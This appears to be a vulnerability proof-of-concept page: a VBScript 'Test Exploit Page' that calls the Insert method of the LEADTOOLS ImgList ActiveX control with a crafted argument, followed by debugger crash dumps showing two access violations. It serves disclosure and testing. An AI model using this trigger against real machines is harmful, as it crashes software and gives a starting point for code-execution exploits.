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验证：
体验盒子<html>
Test Exploit Page
<object classid='clsid:00110100-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' /></object>
<script language='vbscript'>
targetFile = "C:\Program Files\Rational\common\ltlst11n.ocx"
prototype= "Function Insert ( ByVal Bitmap As Long ,ByVal pszText As String ,ByVal Data As Long ) As Integer"
memberName = "Insert"
progid = "LEADImgListLib.LEADImgList"
argCount = 3
arg1=1
arg2="defaultV"
arg3=-2147483647
target.Insert arg1 ,arg2 ,arg3
</script>
Exception Code: ACCESS_VIOLATION
Disasm: 7C809EDA MOV AL,[EDX]
Seh Chain:
--------------------------------------------------
1 7C839AD8 KERNEL32.dll
2 7C839AD8 KERNEL32.dll
3 73352960 VBSCRIPT.dll
4 7C839AD8 KERNEL32.dll
Called From Returns To
--------------------------------------------------
KERNEL32.7C809EDA KERNEL32.7C834E80
KERNEL32.7C834E80 ltlst11n.AA1104
ltlst11n.AA1104 OLEAUT32.77135CD9
OLEAUT32.77135CD9 OLEAUT32.771362E8
OLEAUT32.771362E8 ltlst11n.AAAAB2
ltlst11n.AAAAB2 ltlst11n.AA45C5
ltlst11n.AA45C5 VBSCRIPT.73303EB7
VBSCRIPT.73303EB7 VBSCRIPT.73303E27
VBSCRIPT.73303E27 VBSCRIPT.73303397
VBSCRIPT.73303397 VBSCRIPT.73303D88
VBSCRIPT.73303D88 VBSCRIPT.7330409F
VBSCRIPT.7330409F VBSCRIPT.733063EE
VBSCRIPT.733063EE VBSCRIPT.73306373
VBSCRIPT.73306373 VBSCRIPT.73306BA5
VBSCRIPT.73306BA5 VBSCRIPT.73306D9D
VBSCRIPT.73306D9D VBSCRIPT.73305103
VBSCRIPT.73305103 SCROBJ.5CE44396
SCROBJ.5CE44396 SCROBJ.5CE4480B
SCROBJ.5CE4480B SCROBJ.5CE446A6
SCROBJ.5CE446A6 SCROBJ.5CE44643
SCROBJ.5CE44643 SCROBJ.5CE44608
SCROBJ.5CE44608 1013C93
1013C93 1006B0C
1006B0C 100332C
100332C 1003105
1003105 1003076
1003076 1002F16
1002F16 KERNEL32.7C817077
Registers:
--------------------------------------------------
EIP 7C809EDA
EAX 00000001
EBX 00000001
ECX 02650B60 -> 00AB7948
EDX 00000001
EDI 00000001
ESI 00001000
EBP 0013ED20 -> 0013ED60
ESP 0013ECF4 -> 00000000
Block Disassembly:
--------------------------------------------------
7C809EC2 TEST EDX,EDX
7C809EC4 JE 7C80BFD0
7C809ECA LEA EDI,[EDX+EAX-1]
7C809ECE CMP EDI,EDX
7C809ED0 JB 7C80BFD0
7C809ED6 AND DWORD PTR [EBP-4],0
7C809EDA MOV AL,[EDX] <--- CRASH
7C809EDC LEA EAX,[ESI-1]
7C809EDF NOT EAX
7C809EE1 MOV ECX,EAX
7C809EE3 AND ECX,EDX
7C809EE5 MOV [EBP-1C],ECX
7C809EE8 AND EAX,EDI
7C809EEA MOV [EBP-20],EAX
7C809EED CMP ECX,EAX
ArgDump:
--------------------------------------------------
EBP+8 00000001
EBP+12 00000001
EBP+16 00000000
EBP+20 02650BC0 -> 00AB77F0
EBP+24 00000000
EBP+28 0013EDB4 -> 00181884
Stack Dump:
--------------------------------------------------
13ECF4 00 00 00 00 C0 0B 65 02 01 00 00 00 02 00 00 00[......e.........]
13ED04 03 00 00 00 F4 EC 13 00 D0 97 53 00 50 ED 13 00[..........S.P...]
13ED14 D8 9A 83 7C 08 9F 80 7C 00 00 00 00 60 ED 13 00[............`...]
13ED24 80 4E 83 7C 01 00 00 00 01 00 00 00 00 00 00 00[.N..............]
13ED34 C0 0B 65 02 00 00 00 00 B4 ED 13 00 A0 ED 13 00[..e.............]
Exception Code: ACCESS_VIOLATION
Disasm: AA110A CMP DWORD PTR [EAX],6461656C
Seh Chain:
--------------------------------------------------
1 73352960 VBSCRIPT.dll
2 7C839AD8 KERNEL32.dll
Called From Returns To
--------------------------------------------------
ltlst11n.AA110A OLEAUT32.77135CD9
OLEAUT32.77135CD9 OLEAUT32.771362E8
OLEAUT32.771362E8 ltlst11n.AAAAB2
ltlst11n.AAAAB2 ltlst11n.AA45C5
ltlst11n.AA45C5 VBSCRIPT.73303EB7
VBSCRIPT.73303EB7 VBSCRIPT.73303E27
VBSCRIPT.73303E27 VBSCRIPT.73303397
VBSCRIPT.73303397 VBSCRIPT.73303D88
VBSCRIPT.73303D88 VBSCRIPT.7330409F
VBSCRIPT.7330409F VBSCRIPT.733063EE
VBSCRIPT.733063EE VBSCRIPT.73306373
VBSCRIPT.73306373 VBSCRIPT.73306BA5
VBSCRIPT.73306BA5 VBSCRIPT.73306D9D
VBSCRIPT.73306D9D VBSCRIPT.73305103
VBSCRIPT.73305103 SCROBJ.5CE44396
SCROBJ.5CE44396 SCROBJ.5CE4480B
SCROBJ.5CE4480B SCROBJ.5CE446A6
SCROBJ.5CE446A6 SCROBJ.5CE44643
SCROBJ.5CE44643 SCROBJ.5CE44608
SCROBJ.5CE44608 1013C93
1013C93 1006B0C
1006B0C 100332C
100332C 1003105
1003105 1003076
1003076 1002F16
1002F16 KERNEL32.7C817077
Registers:
--------------------------------------------------
EIP 00AA110A
EAX 00000000
EBX 00000000
ECX 0013EDA0 -> 00000000
EDX 00000000
EDI 00000000
ESI 02650BC0 -> 00AB77F0
EBP 0013EDA4 -> 0013EDCC
ESP 0013ED6C -> 00AA8B02
Block Disassembly:
--------------------------------------------------
AA10F6 LEAVE
AA10F7 RETN 8
AA10FA PUSH DWORD PTR [ESP+4]
AA10FE CALL [AB7164]
AA1104 MOV ECX,[ESP+8]
AA1108 MOV [ECX],EAX
AA110A CMP DWORD PTR [EAX],6461656C <--- CRASH
AA1110 JE SHORT 00AA1117
AA1112 AND DWORD PTR [ECX],0
AA1115 JMP SHORT 00AA111A
AA1117 MOV EAX,[EAX+8]
AA111A RETN 8
AA111D PUSH EBP
AA111E MOV EBP,ESP
AA1120 SUB ESP,20
ArgDump:
--------------------------------------------------
EBP+8 02650BC0 -> 00AB77F0
EBP+12 00000001
EBP+16 00181884 -> Uni: defaultV
EBP+20 80000001
EBP+24 0013EE10 -> 00000000
EBP+28 0013EE00 -> 00130000
Stack Dump:
--------------------------------------------------
13ED6C 02 8B AA 00 01 00 00 00 A0 ED 13 00 00 00 00 00[................]
13ED7C B4 32 18 00 F0 77 AB 00 04 00 00 00 03 00 00 00[.....w..........]
13ED8C 30 F0 13 00 7C 52 A5 02 00 00 00 00 FF FF FF FF[.....R..........]
13ED9C 00 00 00 00 00 00 00 00 CC ED 13 00 D9 5C 13 77[.............\.w]
13EDAC C0 0B 65 02 01 00 00 00 84 18 18 00 01 00 00 80[..e.............]
ApiLog
--------------------------------------------------
***** Installing Hooks *****
7c821a94 CreateFileA(C:\WINDOWS\system32\rsaenh.dll)
7c821a94 CreateFileA(C:\WINDOWS\system32\rsaenh.dll)
体验盒子
